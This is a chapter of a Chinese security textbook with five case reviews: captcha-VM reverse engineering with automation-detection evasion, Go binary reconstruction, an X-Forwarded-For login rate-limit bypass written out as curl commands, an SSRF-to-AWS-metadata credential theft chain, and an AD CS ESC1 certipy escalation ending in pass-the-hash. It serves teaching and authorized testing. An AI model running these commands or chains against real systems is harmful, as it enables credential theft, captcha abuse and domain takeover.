第 105 章 实战案例深度复盘(五案精解)
从 field journal 真实案例中精选 5 个完整教学复盘。每个案例按统一结构呈现:目标 → 思路 → 完整步骤(带命令)→ 踩坑 → 复用价值。案例是最好的老师——别人踩过的坑,你不用再踩。
📍 知识点地图 | 主题:实战案例深度复盘 | 前置:全书 | 后续:— | 核心概念:DSL VM逆向、Go还原、限速绕过、SSRF云链、ESC1
案例 1:验证码系统的 DSL VM 逆向(2026-07-05)
目标与场景
目标: 某大型验证码系统(滑块验证)的完整逆向
为什么难: 验证码前端不只是"一个 JS",而是多层防御:
9 个模块的 webpack 滑块核心 + 26 个 opcode 的自定义 DSL VM + WASM
token 与浏览器环境强绑定(TLS JA3/IP/Cookie)→ 不能简单重放
目标实体(先认技术栈)
| 文件 | 大小 | 角色 |
|---|---|---|
| nc.js | 72KB | Webpack 打包的滑块核心(9 模块) |
| fireyejs.js | 583KB | DSL VM 解释器(26 opcode 自定义指令集) |
| awsc.js | 9KB | 模块加载器 |
| secaptcha.js | 72KB | WASM C 编译产物(emscripten) |
| et_f.js | 262KB | 另一个 DSL VM 类型文件 |
思路(关键认知)
认知 1: fireyejs.js 不是 WASM,是自定义 VM
→ 583KB 的 JS 用 26 个 opcode 的解释器循环执行编码指令
→ 不能用 WASM 工具,要按"VM 逆向"处理(第 40/16 章)
认知 2: token 与浏览器环境强绑定(TLS JA3/IP/Cookie/Referer)
→ 纯 requests 重放"极低成功率"(方案 C 直接否决)
→ 必须"在浏览器里完成验证"再取 token
认知 3: 导出函数名被 VM 编码,不在文件里
→ 真正的导出通过"模块注册中心"暴露(不是搜函数名)
三条技术路线对比(最终选 A)
方案 A: Selenium + CDP 拖拽(推荐,成功率高)
通过 CDP Input.dispatchMouseEvent 发送"原生鼠标事件"
→ 在真实浏览器中完成滑块验证
→ 依赖: Chrome + Playwright/Selenium
→ 关键: CDP 原生事件与 WebDriver 无关(绕过自动化检测)
方案 B: Playwright 无头 + DSL VM 注入
在 Playwright 中加载 DSL VM 和模块加载器,HTTP API 暴露 token
→ 成功率中(依赖 WASM 初始化环境)
方案 C: 纯 requests 协议重放
直接调 API 端点
→ 成功率极低(token 与浏览器强绑定)→ 放弃
完整步骤
1. 技术栈识别(先认文件)
file 每个 JS / 看 webpack 特征 / 找 WASM 痕迹
2. 模块拆分(webpack 9 模块)
→ 逐模块理解: API 端点/滑块 UI/交互逻辑/ncSessionID 算法
3. DSL VM 分析(核心难点)
case 提取 → opcode 分类 → 常量表分析 → 函数追踪 → 导出提取
(第 40 章"VM 逆向四层次"的实战应用)
4. WASM 分析(secaptcha.js)
emscripten 编译产物(SharedArrayBuffer + Atomics)
5. 方案选型(A 通过 CDP 完成验证)
真实浏览器 + Input.dispatchMouseEvent 拖拽
6. 验证
拿到 token → 提交 → 通过
踩坑记录(最有价值的部分)
坑 1: 测试 appkey 不会触发真实验证
→ 必须用真实页面的 appkey
坑 2: initialize 返回特定状态码才是"滑块模式"
→ 返回 success 只是"会话创建确认",不是进入滑块
坑 3: performance log 的 JSONP 请求可能捕获不完整
→ URL 事件可能经 script 标签注入方式,捕获要换方式
坑 4: 导出函数名在 DSL VM 文件中不存在
→ 被 VM 编码了,真正的导出通过模块注册中心暴露
可复用模式(下次直接套)
□ DSL VM 逆向五步: case 提取 → opcode 分类 → 常量表 → 函数追踪 → 导出提取
□ 验证码系统通用架构: 入口JS → 模块加载器 → WASM/DSL → API通信 → 前端UI → 服务端验证
□ CDP 原生事件绕过: Input.dispatchMouseEvent(与 WebDriver 无关)
与本教材的映射
第 13 章(JS 逆向)→ 模块拆分/补环境
第 40 章(混淆原理)→ DSL VM 逆向
第 93 章(浏览器自动化)→ CDP 方案
第 100 章(SourceMap)→ webpack 模块分析
案例 2:Go 二进制全量还原(2026-05-15)
目标与场景
目标: lumine_v0.9.1_windows_amd64.exe(PE32+, Go 1.24.5, 11.6 MB)
需求: 还原为可读 Go 源码(原仓库 404,只能靠二进制)
这是一款 TLS 分片 DPI 代理工具(技术源自 Python TlsFragment)
思路
关键认知: Go 二进制即使 strip,也有 pclntab(第 14 章)
→ 用 GoReSym 恢复符号 = 拿到"函数名地图"
→ 逆向从"猜"变成"按图索骥"
完整步骤
1. 工具链搭建
Python + capstone(反汇编引擎)
GoReSym v1.7.1(符号恢复: 1944 个 Go 函数,269 个来自项目)
2. 包结构识别
通过 GoReSym 的 package.function 命名推断 → 12 个包
3. 类型恢复
通过 config.json 反推 JSON 反序列化类型
+ 函数引用恢复字符串
4. 源码重建
按包逐个编写可读 Go 代码(保留逻辑,非逐行还原)
5. 子包补全
dial(出站绑定)/ errors(错误类型)/ format(字符串工具)
关键发现(还原出的核心逻辑)
□ 核心反 DPI 机制: TLS 记录分段 + 噪声注入 + 等待 ACK + OOB + Fake TTL
□ 策略引擎: 域名 Trie + IP Trie 的 Policy 匹配
□ 依赖 go-freelru(LRU 缓存)+ DNS/TTL 缓存
踩坑
坑 1: 源码仓库 404(github.com/moi-si/lumine 不存在)
→ 只能完全靠二进制恢复(无源码对照)
坑 2: Go 字符串恢复依赖"引用关系"而非直接搜
→ 类型从 config.json 反推(JSON 结构泄露类型)
可复用模式
□ Go 逆向三连: GoReSym 恢复符号 → capstone 反汇编 → 按包重建
□ "配置驱动"逆向: 配置文件结构 = 类型恢复的入口
□ 无源码对照时: 保留逻辑还原,不追求逐行一致
与本教材的映射
第 14 章(编译语言逆向)→ GoReSym/符号恢复
第 29 章(AI 辅助)→ 符号+反汇编喂 LLM 重建源码
案例 3:API 限速绕过与信息泄露(2026-05-26)
目标与场景
目标: 授权 CTF 渗透验证,记录 API 接口暴露与限速绕过
技术栈: 前端 bundle(index-*.js)+ 后端 API
完整步骤
1. 路由到 pentest-tools,确认 nmap 可用
2. 端口探测确认暴露面,转 Web 接口枚举
3. 从前端 index-*.js 提取接口字典(第 100 章思路)
→ 枚举验证 API 状态码
4. 遍历接口: GET /api/status、/api/pricing、/api/setup(无鉴权)
5. 登录接口限速测试:
POST /api/user/login → 429(触发限速)
6. 伪造 X-Forwarded-For 头 → 绕过限速:
加 X-Forwarded-For: 10.0.0.123 → 200(绕过成功!)
踩坑记录
| 坑 | 原因 | 解决 |
|---|---|---|
| Nmap 扫描失败(eth0) | Npcap 设备映射与默认接口不一致 | 显式指定 -e eth3 或用 -sT |
| HTTP 探测超时 | 目标限速/网络抖动 | 减小并发、加 --max-time、重试 |
| 登录限速值不稳定 | 限速状态变化 | 固定"无伪造头" vs "伪造 XFF"对照实验 |
关键命令(直接复用)
# 接口枚举(前端 bundle 提取后)
curl -k -s https://{target}/api/status
curl -k -s https://{target}/api/pricing
# 限速触发(无伪造头 → 429)
curl -k -s -o /dev/null -w "%{http_code}\n" \
-H "Content-Type: application/json" \
-X POST "https://{target}/api/user/login?turnstile=" \
--data '{"username":"root","password":"12345678"}'
# 伪造 XFF 绕过(→ 200)
curl -k -s -o /dev/null -w "%{http_code}\n" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.123" \
-X POST "https://{target}/api/user/login?turnstile=" \
--data '{"username":"root","password":"12345678"}'
可复用模式
□ 前端 bundle 提取接口字典(比目录爆破高效)
□ 限速绕过: XFF 伪造 + 对照实验(无伪造 vs 伪造)
□ 接口暴露验证: 状态码差异(200/401/403/429)
与本教材的映射
第 57 章(Web 侦察)→ 接口枚举
第 102 章(路由攻击)→ 转发头信任
第 80 章(竞态)→ 限速绕过延伸
案例 4:SSRF → 云元数据 → 凭证(seed-006 复刻)
目标与场景
场景: Web 应用存在 SSRF,目标验证"云凭证获取"路径(第 68 章完整链)
这是第 68 章的实战验证:从"一个 SSRF"到"云资源访问权限"
完整步骤
1. 发现 SSRF(第 58.4)
webhook_url/callback_url 参数 → 请求攻击者服务器 → 收到回调
→ 确认 SSRF 可控
2. 内网探测(第 68.2)
http://127.0.0.1:80 / localhost:22 → 端口探测
3. 云元数据(第 68.3)—— 核心目标
GET http://169.254.169.254/latest/meta-data/
→ 200 + 目录列表(IMDSv1 未启用 v2 防护)
4. 凭证获取
GET .../iam/security-credentials/
→ 角色名
GET .../iam/security-credentials/<ROLE>
→ AccessKeyId + SecretAccessKey + Token
5. 凭证验证(第 68.4)
aws sts get-caller-identity → 确认身份
6. 权限枚举(第 68.4)
aws s3 ls / secretsmanager list-secrets
7. 影响确认(点到即止)
列出可访问的 S3 桶(不下载敏感数据)
踩坑
坑 1: IMDSv2 会拒绝直接 GET(需 PUT token)
→ 先探测是 v1 还是 v2(决定可行路径)
坑 2: 元数据端点路径易拼错
→ 逐级探测(先 /latest/meta-data/ 再深入)
坑 3: 凭证有时效(临时凭证 1 小时)
→ 拿到后尽快验证(sts get-caller-identity)
可复用模式
□ SSRF → 元数据 → 凭证 → 权限枚举 六步链(第 68 章完整版)
□ IMDSv1/v2 探测(决定攻击可行性)
□ 临时凭证尽快验证(时效性)
与本教材的映射
第 58 章(SSRF 基础)→ 发现与利用
第 68 章(SSRF→云)→ 完整链
第 87 章(云全景)→ 凭证枚举与影响
案例 5:AD CS ESC1 提权(seed-005 复刻)
目标与场景
场景: 域环境,已拿到普通域用户 → 目标: 域管
路径: AD CS 模板漏洞(ESC1)→ 申请管理员证书 → 认证拿哈希
这是第 70 章的实战验证
完整步骤
1. 枚举证书服务(Certipy)
certipy find -u user@domain -p pass -dc-ip <DC> -vulnerable
→ 标记出 Vulnerable 模板(ESC1 条件满足)
2. 确认漏洞条件(第 70.2)
□ 普通用户可注册 ✓
□ 请求者可指定 SAN ✓
□ EKU 允许 Client Auth ✓
□ 无 CA 管理员审批 ✓
3. 申请管理员证书(ESC1)
certipy req -u user@domain -p pass -ca <CA> \
-target <CA_HOST> -template <VULN_TEMPLATE> \
-upn administrator@domain
→ 得到 administrator.pfx
4. 证书认证拿哈希(PKINIT)
certipy auth -pfx administrator.pfx -dc-ip <DC>
→ administrator 的 NTLM 哈希
5. 横向(PtH)
crackmapexec smb <target> -u administrator -H <HASH>
→ 域管权限达成
踩坑
坑 1: CA 主机名与 DC 不同(CA 是独立服务器)
→ 枚举时确认 -ca 参数(certipy find 输出里有)
坑 2: 模板名区分大小写
→ 从 find 输出精确复制模板名
坑 3: 证书认证需要正确的 -dc-ip
→ 确保指向域控(PKINIT 查询)
可复用模式
□ AD CS 枚举→确认→利用三步(第 70 章)
□ ESC1 条件四查(注册权限/SAN/EKU/审批)
□ 证书→哈希→PtH 三连(证书只是起点)
与本教材的映射
第 62 章(内网横向)→ PtH 收尾
第 70 章(AD 证书)→ ESC1 完整链
第 71 章(NTLM Relay)→ ESC8 变体延伸
案例复盘方法论(五个案例的共同规律)
规律 1: 技术栈识别永远第一
案例 1 认 DSL VM / 案例 2 认 Go / 案例 4 认 IMDSv1
→ 认错技术栈 = 用错工具 = 浪费大量时间
规律 2: 先评估"不可行路线"再动手
案例 1 否决纯重放 / 案例 3 对照实验
→ 花 5 分钟想"哪条路走不通"省几小时
规律 3: 踩坑 = 技术栈边界
案例 1 的 appkey / 案例 4 的 IMDSv2 / 案例 5 的 CA 主机
→ 所有坑都来自"对环境的假设错误"
规律 4: 可复用模式比一次性步骤值钱
每个案例最后都提炼"模式"(五步/三连/六步链)
→ 模式是下次秒杀同类目标的基础
动手练习
- 用案例 3 的"前端 bundle 提取接口字典"方法,对一个授权目标做接口枚举。
- 复刻案例 5:在域环境(或 HTB 类机器)完整走 ESC1 链。
- 从你的实战/练习中写一个"案例复盘"(对照本节结构:目标/步骤/踩坑/模式)。
- 读仓库 field-journal 里其他案例(seed-001 到 seed-017),用"规律 4"提炼模式。
深入阅读
- 仓库:
skills/field-journal/(全部案例原文:2026-.md + seed-.md) - 仓库:
skills/field-journal/_index.md(案例索引) - 仓库:
skills/field-journal/_template.md(复盘模板) - 本教材:第 20 章(案例总览)/ 第 23 章(复利架构)